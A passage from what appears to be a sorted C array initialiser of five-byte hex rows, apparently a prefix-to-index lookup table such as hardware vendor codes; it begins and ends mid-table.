0x8e, 0x2c,\r\n0x58, 0x04, 0xCB, 0x56, 0x2e,\r\n0x58, 0x05, 0x28, 0x57, 0x2e,\r\n0x58, 0x05, 0x56, 0x58, 0x2e,\r\n0x58, 0x08, 0xFA, 0x59, 0x2e,\r\n0x58, 0x09, 0x43, 0x65, 0x00,\r\n0x58, 0x09, 0xE5, 0x5a, 0x2e,\r\n0x58, 0x0A, 0x20, 0x05, 0x00,\r\n0x58, 0x10, 0x8C, 0x2e, 0x16,\r\n0x58, 0x12, 0x43, 0x38, 0x1f,\r\n0x58, 0x16, 0x26, 0xc2, 0x03,\r\n0x58, 0x17, 0x0C, 0xbe, 0x09,\r\n0x58, 0x19, 0xF8, 0xb9, 0x00,\r\n0x58, 0x1C, 0xBD, 0x5b, 0x2e,\r\n0x58, 0x1D, 0x91, 0xf7, 0x01,\r\n0x58, 0x1F, 0x28, 0xda, 0x14,\r\n0x58, 0x1F, 0x67, 0x5c, 0x2e,\r\n0x58, 0x1F, 0xAA, 0x51, 0x03,\r\n0x58, 0x1F, 0xEF, 0x5d, 0x2e,\r\n0x58, 0x20, 0xB1, 0xc9, 0x01,\r\n0x58, 0x21, 0x36, 0x5e, 0x2e,\r\n0x58, 0x21, 0xE9, 0x5f, 0x2e,\r\n0x58, 0x23, 0x8C, 0xc2, 0x12,\r\n0x58, 0x2A, 0xF7, 0xda, 0x14,\r\n0x58, 0x2B, 0xDB, 0x60, 0x2e,\r\n0x58, 0x2E, 0xFE, 0x61, 0x2e,\r\n0x58, 0x2F, 0x42, 0x0a, 0x01,\r\n0x58, 0x31, 0x12, 0x62, 0x2e,\r\n0x58, 0x32, 0x77, 0xaf, 0x0e,\r\n0x58, 0x34, 0x3B, 0x63, 0x2e,\r\n0x58, 0x35, 0xD9, 0x05, 0x00,\r\n0x58, 0x38, 0x79, 0x6d, 0x00,\r\n0x58, 0x3B, 0xD9, 0x54, 0x1f,\r\n0x58, 0x3C, 0xC6, 0x64, 0x2e,\r\n0x58, 0x3F, 0x54, 0xce, 0x17,\r\n0x58, 0x40, 0x4E, 0x51, 0x03,\r\n0x58, 0x42, 0xE4, 0x65, 0x2e,\r\n0x58, 0x44, 0x98, 0x34, 0x24,\r\n0x58, 0x46, 0x8F, 0x66, 0x2e,\r\n0x58, 0x46, 0xE1, 0x65, 0x2e,\r\n0x58, 0x47, 0x04, 0xe9, 0x01,\r\n0x58, 0x48, 0x22, 0xbe, 0x09,\r\n0x58, 0x48, 0xC0, 0x67, 0x2e,\r\n0x58, 0x49, 0x25, 0x68, 0x2e,\r\n0x58, 0x49, 0x3B, 0xd2, 0x16,\r\n0x58, 0x49, 0xBA, 0x69, 0x2e,\r\n0x58, 0x4C, 0x19, 0xe6, 0x16,\r\n0x58, 0x4C, 0xEE, 0x00, 0x1b,\r\n0x58, 0x50, 0x76, 0x6a, 0x2e,\r\n0x58, 0x50, 0xAB, 0x6b, 0x2e,\r\n0x58, 0x50, 0xE6, 0x6c, 0x2e,\r\n0x58, 0x52, 0x8A, 0xb2, 0x00,\r\n0x58, 0x53, 0xC0, 0x0b, 0x0a,\r\n0x58, 0x55, 0xCA, 0x51, 0x03,\r\n0x58, 0x56, 0xE8, 0xb9, 0x00,\r\n0x58, 0x57, 0x0D, 0x6d, 0x2e,\r\n0x58, 0x5F, 0xF6, 0xe1, 0x12,\r\n0x58, 0x60, 0x5F, 0xda, 0x14,\r\n0x58, 0x61, 0x63, 0x6e, 0x2e,\r\n0x58, 0x63, 0x56, 0xd9, 0x2b,\r\n0x58, 0x63, 0x9A, 0x6f, 0x2e,\r\n0x58, 0x65, 0xE6, 0x19, 0x19,\r\n0x58, 0x66, 0xBA, 0x10, 0x0e,\r\n0x58, 0x67, 0x1A, 0x70, 0x2e,\r\n0x58, 0x67, 0x7F, 0x71, 0x2e,\r\n0x58, 0x68, 0x5D, 0x72, 0x2e,\r\n0x58, 0x69, 0x6C, 0x99, 0x22,\r\n0x58, 0x69, 0xF9, 0x73, 0x2e,\r\n0x58, 0x6A, 0xB1, 0x10, 0x0e,\r\n0x58, 0x6D, 0x8F, 0xf9, 0x0a,\r\n0x58, 0x6E, 0xD6, 0x65, 0x00,\r\n0x58, 0x70, 0xC6, 0x0e, 0x03,\r\n0x58, 0x75, 0x21, 0x74, 0x2e,\r\n0x58, 0x76, 0x75, 0xbf, 0x07,\r\n0x58, 0x76, 0xC5, 0x75, 0x2e,\r\n0x58, 0x7A, 0x4D, 0x76, 0x2e,\r\n0x58, 0x7A, 0x62, 0xeb, 0x0f,\r\n0x58, 0x7A, 0x6A, 0xc8, 0x0a,\r\n0x58, 0x7B, 0xE9, 0x77, 0x2e,\r\n0x58, 0x7E, 0x61, 0xf7, 0x19,\r\n0x58, 0x7F, 0x57, 0x51, 0x03,\r\n0x58, 0x7F, 0x66, 0xda, 0x14,\r\n0x58, 0x7F, 0xB7, 0x78, 0x2e,\r\n0x58, 0x7F, 0xC8, 0x79, 0x2e,\r\n0x58, 0x82, 0x1D, 0x7a, 0x2e,\r\n0x58, 0x82, 0xA8, 0xb4, 0x03,\r\n0x58, 0x84, 0xE4, 0x7b, 0x2e,\r\n0x58, 0x85, 0x6E, 0x7c, 0x2e,\r\n0x58, 0x87, 0x4C, 0xae, 0x02,\r\n0x58, 0x87, 0xE2, 0xe9, 0x01,\r\n0x58, 0x8A, 0x5A, 0xd1, 0x05,\r\n0x58, 0x8B, 0xF3, 0xc6, 0x10,\r\n0x58, 0x8D, 0x09, 0x05, 0x00,\r\n0x58, 0x8D, 0x64, 0x7d, 0x2e,\r\n0x58, 0x90, 0x43, 0xc4, 0x0c,\r\n0x58, 0x91, 0xCF, 0x80, 0x10,\r\n0x58, 0x92, 0x0D, 0x7e, 0x2e,\r\n0x58, 0x93, 0x96, 0x02, 0x11,\r\n0x58, 0x94, 0x6B, 0x80, 0x10,\r\n0x58, 0x94, 0xCF, 0x7f, 0x2e,\r\n0x58, 0x97, 0x1E, 0x05, 0x00,\r\n0x58, 0x97, 0xBD, 0x05, 0x00,\r\n0x58, 0x98, 0x35, 0xc2, 0x12,\r\n0x58, 0x98, 0x6F, 0x80, 0x2e,\r\n0x58, 0x9B, 0x0B, 0x81, 0x2e,\r\n0x58, 0x9C, 0xFC, 0x82, 0x2e,\r\n0x58, 0xA0, 0xCB, 0x83, 0x2e,\r\n0x58, 0xA2, 0xB5, 0xce, 0x17,\r\n0x58, 0xA4, 0x8E, 0x84, 0x2e,\r\n0x58, 0xA7, 0x6F, 0x85, 0x2e,\r\n0x58, 0xA8, 0x39, 0x80, 0x10,\r\n0x58, 0xAC, 0x78, 0x05, 0x00,\r\n0x58, 0xB0, 0x35, 0x51, 0x03,\r\n0x58, 0xB0, 0xD4, 0x86, 0x2e,\r\n0x58, 0xB1, 0x0F, 0x4f, 0x02,\r\n0x58, 0xB3, 0xFC, 0xe9, 0x01,\r\n0x58, 0xB4, 0x2D, 0x87, 0x2e,\r\n0x58, 0xB6, 0x33, 0x02, 0x11,\r\n0x58, 0xB9, 0x61, 0x88, 0x2e,\r\n0x58, 0xB9, 0xE1, 0x89, 0x2e,\r\n0x58, 0xBA, 0xD4, 0xda, 0x14,\r\n0x58, 0xBC, 0x27, 0x05, 0x00,\r\n0x58, 0xBC, 0x8F, 0x8a, 0x2e,\r\n0x58, 0xBD, 0xA3, 0xc5, 0x08,\r\n0x58, 0xBD, 0xF9, 0x8b, 0x2e,\r\n0x58, 0xBF, 0xEA, 0x05, 0x00,\r\n0x58, 0xC1, 0x7A, 0x03, 0x04,\r\n0x58, 0xC2, 0x32, 0x45, 0x00,\r\n0x58, 0xC3, 0x8B, 0x4f, 0x02,\r\n0x58, 0xC5, 0x83, 0xcd, 0x28,\r\n0x58, 0xC5, 0xCB, 0x4f, 0x02,\r\n0x58, 0xC9, 0x35, 0x8c, 0x2e,\r\n0x58, 0xCF, 0x4B, 0x8d, 0x2e,\r\n0x58, 0xD0, 0x71, 0x8e, 0x2e,\r\n0x58, 0xD0, 0x8F, 0x8f, 0x2e,\r\n0x58, 0xD6, 0x7A, 0x90, 0x2e,\r\n0x58, 0xD6, 0xD3, 0x91, 0x2e,\r\n0x58, 0xD7, 0x59, 0xda, 0x14,\r\n0x58, 0xD9, 0xD5, 0xb3, 0x27,\r\n0x58, 0xDB, 0x15, 0xb1, 0x27,\r\n0x58, 0xDB, 0x8D, 0xc4, 0x01,\r\n0x58, 0xDC, 0x6D, 0x92, 0x2e,\r\n0x58, 0xE0, 0x2C, 0x3c, 0x00,\r\n0x58, 0xE1, 0x6C, 0x93, 0x2e,\r\n0x58, 0xE2, 0x8F, 0x51, 0x03,\r\n0x58, 0xE3, 0x26, 0x94, 0x2e,\r\n0x58, 0xE4, 0x76, 0x95, 0x2e,\r\n0x58, 0xE6, 0x36, 0x96, 0x2e,\r\n0x58, 0xE7, 0x47, 0x97, 0x2e,\r\n0x58, 0xE8, 0x08, 0x98, 0x2e,\r\n0x58, 0xE8, 0x76, 0x57, 0x17,\r\n0x58, 0xEB, 0x14, 0x99, 0x2e,\r\n0x58, 0xEC, 0xE1, 0x9a, 0x2e,\r\n0x58, 0xEE, 0xCE, 0x9b, 0x2e,\r\n0x58, 0xEF, 0x68, 0xe5, 0x13,\r\n0x58, 0xF1, 0x02, 0x9c, 0x2e,\r\n0x58, 0xF3, 0x87, 0x9d, 0x2e,\r\n0x58, 0xF3, 0x9C, 0x05, 0x00,\r\n0x58, 0xF4, 0x96, 0x9e, 0x2e,\r\n0x58, 0xF6, 0x7B, 0x9f, 0x2e,\r\n0x58, 0xF6, 0xBF, 0xa0, 0x2e,\r\n0x58, 0xF9, 0x87, 0xda, 0x14,\r\n0x58, 0xF9, 0x8E, 0xa1, 0x2e,\r\n0x58, 0xFB, 0x84, 0x80, 0x10,\r\n0x58, 0xFC, 0x73, 0xa2, 0x2e,\r\n0x58, 0xFC, 0xDB, 0x57, 0x17,\r\n0x58, 0xFD, 0x20, 0xa3, 0x2e,\r\n0x5A, 0xCB, 0xD3, 0xa4, 0x2e,\r\n0x5A, 0xE6, 0x60, 0x73, 0x29,\r\n0x5C, 0x00, 0x38, 0xa5, 0x2e,\r\n0x5C, 0x02, 0x6A, 0xa6, 0x2e,\r\n0x5C, 0x03, 0x39, 0xda, 0x14,\r\n0x5C, 0x07, 0x6F, 0xa7, 0x2e,\r\n0x5C, 0x09, 0x47, 0x51, 0x03,\r\n0x5C, 0x09, 0x79, 0xda, 0x14,\r\n0x5C, 0x0A, 0x5B, 0x4f, 0x02,\r\n0x5C, 0x0C, 0x0E, 0xa8, 0x2e,\r\n0x5C, 0x0C, 0xBB, 0xa9, 0x2e,\r\n0x5C, 0x0E, 0x8B, 0x1c, 0x01,\r\n0x5C, 0x11, 0x93, 0xaa, 0x2e,\r\n0x5C, 0x14, 0x37, 0x91, 0x17,\r\n0x5C, 0x15, 0x15, 0xab, 0x2e,\r\n0x5C, 0x15, 0xE1, 0xac, 0x2e,\r\n0x5C, 0x16, 0xC7, 0xad, 0x2e,\r\n0x5C, 0x17, 0x37, 0xae, 0x2e,\r\n0x5C, 0x17, 0xD3, 0xaf, 0x2e,\r\n0x5C, 0x18, 0xB5, 0xb0, 0x2e,\r\n0x5C, 0x1A, 0x6F, 0x34, 0x02,\r\n0x5C, 0x1D, 0xD9, 0x51, 0x03,\r\n0x5C, 0x20, 0xD0, 0xb1, 0x2e,\r\n0x5C, 0x22, 0xC4, 0xb2, 0x2e,\r\n0x5C, 0x24, 0x43, 0xb3, 0x2e,\r\n0x5C, 0x24, 0x79, 0xb4, 0x2e,\r\n0x5C, 0x25, 0x4C, 0xb5, 0x2e,\r\n0x5C, 0x26, 0x0A, 0xd1, 0x05,\r\n0x5C, 0x2A, 0xEF, 0xb6, 0x2e,\r\n0x5C, 0x2B, 0xF5, 0xb7, 0x2e,\r\n0x5C, 0x2E, 0x59, 0x4f, 0x02,\r\n0x5C, 0x2E, 0xD2, 0xb8, 0x2e,\r\n0x5C, 0x31, 0x3E, 0xeb, 0x0f,\r\n0x5C, 0x33, 0x27, 0xb9, 0x2e,\r\n0x5C, 0x33, 0x5C, 0xba, 0x2e,\r\n0x5C, 0x33, 0x8E, 0xd8, 0x0d,\r\n0x5C, 0x35, 0x3B, 0x04, 0x2c,\r\n0x5C, 0x35, 0xDA, 0xbb, 0x2e,\r\n0x5C, 0x36, 0xB8, 0x66, 0x2c,\r\n0x5C, 0x38, 0xE0, 0x0e, 0x03,\r\n0x5C, 0x3B, 0x35, 0xbc, 0x2e,\r\n0x5C, 0x3C, 0x27, 0x4f, 0x02,\r\n0x5C, 0x40, 0x58, 0xbd, 0x2e,\r\n0x5C, 0x41, 0xE7, 0xbe, 0x2e,\r\n0x5C, 0x43, 0xD2, 0xbf, 0x2e,\r\n0x5C, 0x45, 0x27, 0x08, 0x05,\r\n0x5C, 0x49, 0x79, 0xf6, 0x2b,\r\n0x5C, 0x49, 0x7D, 0x4f, 0x02,\r\n0x5C, 0x4A, 0x1F, 0x19, 0x1d,\r\n0x5C, 0x4A, 0x26, 0xc0, 0x2e,\r\n0x5C, 0x4C, 0xA9, 0xda, 0x14,\r\n0x5C, 0x50, 0x15, 0x05, 0x00,\r\n0x5C, 0x51, 0x4F, 0x80, 0x10,\r\n0x5C, 0x51, 0x81, 0x4f, 0x02,\r\n0x5C, 0x51, 0x88, 0x22, 0x09,\r\n0x5C, 0x52, 0x1E, 0xc5, 0x08,\r\n0x5C, 0x54, 0x6D, 0xda, 0x14,\r\n0x5C, 0x56, 0xED, 0xc1, 0x2e,\r\n0x5C, 0x57, 0x1A, 0xb9, 0x00,\r\n0x5C, 0x57, 0xC8, 0x4f, 0x12,\r\n0x5C, 0x58, 0x19, 0xc2, 0x2e,\r\n0x5C, 0x59, 0x48, 0x51, 0x03,\r\n0x5C, 0x5A, 0xEA, 0xc3, 0x2e,\r\n0x5C, 0x5B, 0x35, 0xc4, 0x2e,\r\n0x5C, 0x5B, 0xC2, 0xc5, 0x2e,\r\n0x5C, 0x5E, 0xAB, 0x08, 0x05,\r\n0x5C, 0x5F, 0x67, 0x80, 0x10,\r\n0x5C, 0x63, 0xBF, 0xcf, 0x09,\r\n0x5C, 0x67, 0x76, 0x3c, 0x17,\r\n0x5C, 0x69, 0x84, 0xc6, 0x2e,\r\n0x5C, 0x6A, 0x7D, 0xc7, 0x2e,\r\n0x5C, 0x6A, 0x80, 0xc6, 0x10,\r\n0x5C, 0x6B, 0x32, 0xeb, 0x0f,\r\n0x5C, 0x6B, 0x4F, 0xc8, 0x2e,\r\n0x5C, 0x6D, 0x20, 0xe3, 0x11,\r\n0x5C, 0x6F, 0x4F, 0xc9, 0x2e,\r\n0x5C, 0x70, 0xA3, 0xce, 0x17,\r\n0x5C, 0x77, 0x57, 0xca, 0x2e,\r\n0x5C, 0x77, 0x76, 0xe1, 0x28,\r\n0x5C, 0x7D, 0x5E, 0xda, 0x14,\r\n0x5C, 0x81, 0xA7, 0xe0, 0x00,\r\n0x5C, 0x83, 0x8F, 0x05, 0x00,\r\n0x5C, 0x84, 0x86, 0xcb, 0x2e,\r\n0x5C, 0x86, 0x13, 0x7b, 0x08,\r\n0x5C, 0x86, 0x4A, 0xcc, 0x2e,\r\n0x5C, 0x86, 0x5C, 0x4f, 0x02,\r\n0x5C, 0x86, 0xC1, 0x4f, 0x28,\r\n0x5C, 0x87, 0x78, 0xcd, 0x2e,\r\n0x5C, 0x89, 0x9A, 0xcf, 0x09,\r\n0x5C, 0x89, 0xD4, 0xe2, 0x02,\r\n0x5C, 0x8A, 0x38, 0xc9, 0x01,\r\n0x5C, 0x8D, 0x2D, 0x0e, 0x03,\r\n0x5C, 0x8D, 0x4E, 0x51, 0x03,\r\n0x5C, 0x8F, 0xE0, 0xb9, 0x00,\r\n0x5C, 0x93, 0xA2, 0x21, 0x1c,\r\n0x5C, 0x95, 0xAE, 0x51, 0x03,\r\n0x5C, 0x96, 0x56, 0xb5, 0x12,\r\n0x5C, 0x96, 0x6A, 0xce, 0x2e,\r\n0x5C, 0x96, 0x9D, 0x51, 0x03,\r\n0x5C, 0x97, 0xF3, 0x51, 0x03,\r\n0x5C, 0x99, 0x60, 0x4f, 0x02,\r\n0x5C, 0x9A, 0xD8, 0x07, 0x00,\r\n0x5C, 0xA1, 0x76, 0x19, 0x1d,\r\n0x5C, 0xA1, 0x78, 0xcf, 0x2e,\r\n0x5C, 0xA3, 0x9D, 0x4f, 0x02,\r\n0x5C, 0xA3, 0xEB, 0xd0, 0x2e,\r\n0x5C, 0xA4, 0x8A, 0x05, 0x00,\r\n0x5C, 0xA8, 0x6A, 0xda, 0x14,\r\n0x5C, 0xA9, 0x33, 0xd1, 0x2e,\r\n0x5C, 0xAA, 0xFD, 0xeb, 0x03,\r\n0x5C, 0xAC, 0x4C, 0xe3, 0x11,\r\n0x5C, 0xAD, 0x76, 0xe9, 0x01,\r\n0x5C, 0xAD, 0xCF, 0x51, 0x03,\r\n0x5C, 0xAF, 0x06, 0xce, 0x17,\r\n0x5C, 0xB0, 0x66, 0xb9, 0x00,\r\n0x5C, 0xB3, 0x95, 0xda, 0x14,\r\n0x5C, 0xB3, 0xF6, 0xd2, 0x2e,\r\n0x5C, 0xB4, 0x3E, 0xda, 0x14,\r\n0x5C, 0xB5, 0x24, 0xbe, 0x09,\r\n0x5C, 0xB5, 0x59, 0xd3, 0x2e,\r\n0x5C, 0xB6, 0xCC, 0xdb, 0x17,\r\n0x5C, 0xB8, 0xCB, 0xd4, 0x2e,\r\n0x5C, 0xB9, 0x01, 0xc9, 0x01,\r\n0x5C, 0xBA, 0x37, 0xb4, 0x03,\r\n0x5C, 0xBD, 0x9E, 0x7e, 0x28,\r\n0x5C, 0xC2, 0x13, 0xd5, 0x2e,\r\n0x5C, 0xC3, 0x07, 0xda, 0x14,\r\n0x5C, 0xC5, 0xD4, 0x80, 0x10,\r\n0x5C, 0xC6, 0xD0, 0x50, 0x13,\r\n0x5C, 0xC6, 0xE9, 0xd6, 0x2e,\r\n0x5C, 0xC7, 0xD7, 0xd7, 0x2e,\r\n0x5C, 0xC9, 0xD3, 0xd8, 0x2e,\r\n0x5C, 0xCA, 0x1A, 0xb4, 0x03,\r\n0x5C, 0xCA, 0x32, 0xd9, 0x2e,\r\n0x5C, 0xCC, 0xA0, 0xda, 0x2e,\r\n0x5C, 0xCC, 0xFF, 0xdb, 0x2e,\r\n0x5C, 0xCD, 0x7C, 0x25, 0x2c,\r\n0x5C, 0xCE, 0xAD, 0xdc, 0x2e,\r\n0x5C, 0xCF, 0x7F, 0xe3, 0x29,\r\n0x5C, 0xD1, 0x35, 0xdd, 0x2e,\r\n0x5C, 0xD2, 0xE4, 0x80, 0x10,\r\n0x5C, 0xD4, 0x1B, 0xde, 0x2e,\r\n0x5C, 0xD4, 0xAB, 0xdf, 0x2e,\r\n0x5C, 0xD6, 0x1F, 0xe0, 0x2e,\r\n0x5C, 0xD9, 0x98, 0xe8, 0x04,\r\n0x5C, 0xDA, 0xD4, 0xd4, 0x0c,\r\n0x5C, 0xDC, 0x96, 0x5b, 0x10,\r\n0x5C, 0xDD, 0x70, 0x10, 0x0e,\r\n0x5C, 0xE0, 0xC5, 0x80, 0x10,\r\n0x5C, 0xE0, 0xCA, 0xe1, 0x2e,\r\n0x5C, 0xE0, 0xF6, 0xe2, 0x2e,\r\n0x5C, 0xE2, 0x23, 0xe3, 0x2e,\r\n0x5C, 0xE2, 0x86, 0x69, 0x01,\r\n0x5C, 0xE2, 0x8C, 0xc6, 0x10,\r\n0x5C, 0xE2, 0xF4, 0x38, 0x1f,\r\n0x5C, 0xE3, 0x0E, 0xb9, 0x00,\r\n0x5C, 0xE3, 0xB6, 0x54, 0x1f,\r\n0x5C, 0xE7, 0xBF, 0xe4, 0x2e,\r\n0x5C, 0xE8, 0xB7, 0xe5, 0x2e,\r\n0x5C, 0xE8, 0xEB, 0x4f, 0x02,\r\n0x5C, 0xEA, 0x1D, 0xe3, 0x11,\r\n0x5C, 0xEB, 0x4E, 0xe6, 0x2e,\r\n0x5C, 0xEB, 0x68, 0xe7, 0x2e,\r\n0x5C, 0xEE, 0x79, 0xbb, 0x1b,\r\n0x5C, 0xF2, 0x07, 0xe8, 0x2e,\r\n0x5C, 0xF2, 0x86, 0x57, 0x17,\r\n0x5C, 0xF3, 0x70, 0x49, 0x02,\r\n0x5C, 0xF3, 0xFC, 0x2f, 0x02,\r\n0x5C, 0xF4, 0xAB, 0xc6, 0x10,\r\n0x5C, 0xF5, 0x0D, 0xb4, 0x0f,\r\n0x5C, 0xF5, 0xDA, 0x51, 0x03,\r\n0x5C, 0xF6, 0xDC, 0x4f, 0x02,\r\n0x5C, 0xF7, 0xC3, 0xe9, 0x2e,\r\n0x5C, 0xF7, 0xE6, 0x51, 0x03,\r\n0x5C, 0xF8, 0x21, 0xeb, 0x0f,\r\n0x5C, 0xF8, 0xA1, 0xd4, 0x0c,\r\n0x5C, 0xF9, 0x38, 0x51, 0x03,\r\n0x5C, 0xF9, 0x6A, 0xda, 0x14,\r\n0x5C, 0xF9, 0xDD, 0xd1, 0x05,\r\n0x5C, 0xF9, 0xF0, 0xea, 0x2e,\r\n0x5C, 0xFC, 0x66, 0x05, 0x00,\r\n0x5C, 0xFF, 0x35, 0xc9, 0x09,\r\n0x5C, 0xFF, 0xFF, 0xe9, 0x01,\r\n0x60, 0x01, 0x94, 0xe3, 0x29,\r\n0x60, 0x02, 0x92, 0x97, 0x22,\r\n0x60, 0x02, 0xB4, 0x3f, 0x0a,\r\n0x60, 0x03, 0x08, 0x51, 0x03,\r\n0x60, 0x03, 0x47, 0x89, 0x04,\r\n0x60, 0x04, 0x17, 0xeb, 0x2e,\r\n0x60, 0x05, 0x8A, 0x4b, 0x09,\r\n0x60, 0x08, 0x10, 0xda, 0x14,\r\n0x60, 0x08, 0x37, 0xec, 0x2e,\r\n0x60, 0x0B, 0x03, 0x10, 0x0e,\r\n0x60, 0x0F, 0x77, 0xed, 0x2e,\r\n0x60, 0x11, 0x99, 0xee, 0x2e,\r\n0x60, 0x12, 0x83, 0xef, 0x2e,\r\n0x60, 0x12, 0x8B, 0x7d, 0x00,\r\n0x60, 0x14, 0x66, 0xe1, 0x12,\r\n0x60, 0x14, 0xB3, 0x22, 0x01,\r\n0x60, 0x15, 0xC7, 0xf0, 0x2e,\r\n0x60, 0x18, 0x03, 0xf1, 0x2e,\r\n0x60, 0x18, 0x2E, 0xe9, 0x01,\r\n0x60, 0x18, 0x88, 0xe1, 0x12,\r\n0x60, 0x19, 0x0C, 0xf2, 0x2e,\r\n0x60, 0x19, 0x29, 0xf3, 0x2e,\r\n0x60, 0x19, 0x70, 0xf4, 0x2e,\r\n0x60, 0x19, 0x71, 0xb9, 0x00,\r\n0x60, 0x1D, 0x0F, 0xf5, 0x2e,\r\n0x60, 0x1E, 0x02, 0xf6, 0x2e,\r\n0x60, 0x21, 0x01, 0xc8, 0x0a,\r\n0x60, 0x21, 0x03, 0xf7, 0x2e,\r\n0x60, 0x21, 0xC0, 0xd4, 0x0c,\r\n0x60, 0x24, 0xC1, 0x80, 0x29,\r\n0x60, 0x27, 0x1C, 0xf8, 0x2e,\r\n0x60, 0x2A, 0x54, 0xf9, 0x2e,\r\n0x60, 0x2A, 0xD0, 0xc4, 0x14,\r\n0x60, 0x2E, 0x20, 0xda, 0x14,\r\n0x60, 0x30, 0xD4, 0x51, 0x03,\r\n0x60, 0x31, 0x3B, 0x86, 0x28,\r\n0x60, 0x31, 0x97, 0xc6, 0x10,\r\n0x60, 0x32, 0xF0, 0xfa, 0x2e,\r\n0x60, 0x33, 0x4B, 0x51, 0x03,\r\n0x60, 0x35, 0x53, 0xfb, 0x2e,\r\n0x60, 0x36, 0x96, 0xfc, 0x2e,\r\n0x60, 0x36, 0xDD, 0x80, 0x10,\r\n0x60, 0x38, 0x0E, 0x93, 0x02,\r\n0x60, 0x38, 0xE0, 0xe5, 0x13,\r\n0x60, 0x39, 0x1F, 0x50, 0x2e,\r\n0x60, 0x3D, 0x26, 0xc2, 0x12,\r\n0x60, 0x3E, 0x7B, 0xfd, 0x2e,\r\n0x60, 0x3E, 0xCA, 0x34, 0x02,\r\n0x60, 0x3F, 0xC5, 0xfe, 0x2e,\r\n0x60, 0x42, 0x7F, 0xe9, 0x01,\r\n0x60, 0x44, 0xF5, 0xff, 0x2e,\r\n0x60, 0x45, 0x5E, 0x00, 0x2f,\r\n0x60, 0x45, 0xBD, 0xb4, 0x03,\r\n0x60, 0x45, 0xCB, 0x20, 0x0b,\r\n0x60, 0x46, 0x16, 0x01, 0x2f,\r\n0x60, 0x47, 0x62, 0xd6, 0x1c,\r\n0x60, 0x47, 0xD4, 0x02, 0x2f,\r\n0x60, 0x48, 0x26, 0x03, 0x2f,\r\n0x60, 0x49, 0xC1, 0xc2, 0x03,\r\n0x60, 0x4A, 0x1C, 0x04, 0x2f,\r\n0x60, 0x4B, 0xAA, 0x65, 0x00,\r\n0x60, 0x50, 0xC1, 0x05, 0x2f,\r\n0x60, 0x51, 0x2C, 0xe1, 0x28,\r\n0x60, 0x52, 0xD0, 0x06, 0x2f,\r\n0x60, 0x53, 0x17, 0x07, 0x2f,\r\n0x60, 0x54, 0x64, 0x08, 0x2f,\r\n0x60, 0x57, 0x18, 0x80, 0x10,\r\n0x60, 0x5B, 0xB4, 0xb5, 0x12,\r\n0x60, 0x5F, 0x8D, 0x5c, 0x29,\r\n0x60, 0x60, 0x1F, 0x09, 0x2f,\r\n0x60, 0x63, 0xF9, 0x0a, 0x2f,\r\n0x60, 0x63, 0xFD, 0x0b, 0x2f,\r\n0x60, 0x64, 0x05, 0xeb, 0x0f,\r\n0x60, 0x64, 0x53, 0x0c, 0x2f,\r\n0x60, 0x64, 0xA1, 0x0d, 0x2f,\r\n0x60, 0x67, 0x20, 0x80, 0x10,\r\n0x60, 0x69, 0x44, 0x51, 0x03,\r\n0x60, 0x69, 0x9B, 0x0e, 0x2f,\r\n0x60, 0x6B, 0xBD, 0x4f, 0x02,\r\n0x60, 0x6B, 0xFF, 0xc5, 0x08,\r\n0x60, 0x6C, 0x66, 0x80, 0x10,\r\n0x60, 0x6D, 0x3C, 0x4f, 0x2c,\r\n0x60, 0x6D, 0xC7, 0xe3, 0x11,\r\n0x60, 0x72, 0x0B, 0x9c, 0x2e,\r\n0x60, 0x73, 0x5C, 0x05, 0x00,\r\n0x60, 0x73, 0xBC, 0xe1, 0x12,\r\n0x60, 0x74, 0x8D, 0x0f, 0x2f,\r\n0x60, 0x76, 0x88, 0x10, 0x2f,\r\n0x60, 0x77, 0xE2, 0x4f, 0x02,\r\n0x60, 0x7E, 0xDD, 0xb4, 0x03,\r\n0x60, 0x81, 0x2B, 0x2e, 0x18,\r\n0x60, 0x81, 0xF9, 0x11, 0x2f,\r\n0x60, 0x83, 0x34, 0xda, 0x14,\r\n0x60, 0x83, 0xB2, 0x12, 0x2f,\r\n0x60, 0x84, 0x3B, 0x13, 0x2f,\r\n0x60, 0x84, 0xBD, 0xa2, 0x06,\r\n0x60, 0x86, 0x45, 0x14, 0x2f,\r\n0x60, 0x89, 0x3C, 0x41, 0x19,\r\n0x60, 0x89, 0xB1, 0x15, 0x2f,\r\n0x60, 0x89, 0xB7, 0x16, 0x2f,\r\n0x60, 0x8C, 0x2B, 0x17, 0x2f,\r\n0x60, 0x8C, 0xE6, 0xb9, 0x00,\r\n0x60, 0x8D, 0x17, 0x18, 0x2f,\r\n0x60, 0x8E, 0x08, 0x4f, 0x02,\r\n0x60, 0x8F, 0x5C, 0x4f, 0x02,\r\n0x60, 0x90, 0x84, 0x19, 0x2f,\r\n0x60, 0x91, 0xF3, 0x5d, 0x28,\r\n0x60, 0x92, 0x17, 0x51, 0x03,\r\n0x60, 0x96, 0x20, 0x65, 0x00,\r\n0x60, 0x97, 0xDD, 0x1a, 0x2f,\r\n0x60, 0x98, 0x13, 0x0e, 0x03,\r\n0x60, 0x99, 0xD1, 0x1b, 0x2f,\r\n0x60, 0x9A, 0xA4, 0x1c, 0x2f,\r\n0x60, 0x9A, 0xC1, 0x51, 0x03,\r\n0x60, 0x9B, 0xC8, 0x1d, 0x2f,\r\n0x60, 0x9C, 0x9F, 0x80, 0x00,\r\n0x60, 0x9E, 0x64, 0x1e, 0x2f,\r\n0x60, 0x9F, 0x9D, 0x1f, 0x2f,\r\n0x60, 0xA1, 0x0A, 0x4f, 0x02,\r\n0x60, 0xA3, 0x7D, 0x51, 0x03,\r\n0x60, 0xA4, 0x4C, 0x20, 0x0b,\r\n0x60, 0xA4, 0xD0, 0x4f, 0x02,\r\n0x60, 0xA8, 0xFE, 0x4f, 0x12,\r\n0x60, 0xA9, 0xB0, 0x20, 0x2f,\r\n0x60, 0xAC, 0xC8, 0x21, 0x2f,\r\n0x60, 0xAF, 0x6D, 0x4f, 0x02,\r\n0x60, 0xB1, 0x85, 0x22, 0x2f,\r\n0x60, 0xB3, 0x87, 0x23, 0x2f,\r\n0x60, 0xB3, 0xC4, 0x24, 0x2f,\r\n0x60, 0xB4, 0xF7, 0x25, 0x2f,\r\n0x60, 0xB6, 0x06, 0x26, 0x2f,\r\n0x60, 0xB6, 0x17, 0x54, 0x1f,\r\n0x60, 0xB9, 0x33, 0x27, 0x2f,\r\n0x60, 0xB9, 0x82, 0x28, 0x2f,\r\n0x60, 0xBA, 0x18, 0x29, 0x2f,\r\n0x60, 0xBB, 0x0C, 0x93, 0x15,\r\n0x60, 0xBC, 0x4C, 0x2a, 0x2f,\r\n0x60, 0xBD, 0x91, 0x2b, 0x2f,\r\n0x60, 0xBE, 0xB5, 0x22, 0x09,\r\n0x60, 0xC0, 0xBF, 0x2c, 0x2f,\r\n0x60, 0xC1, 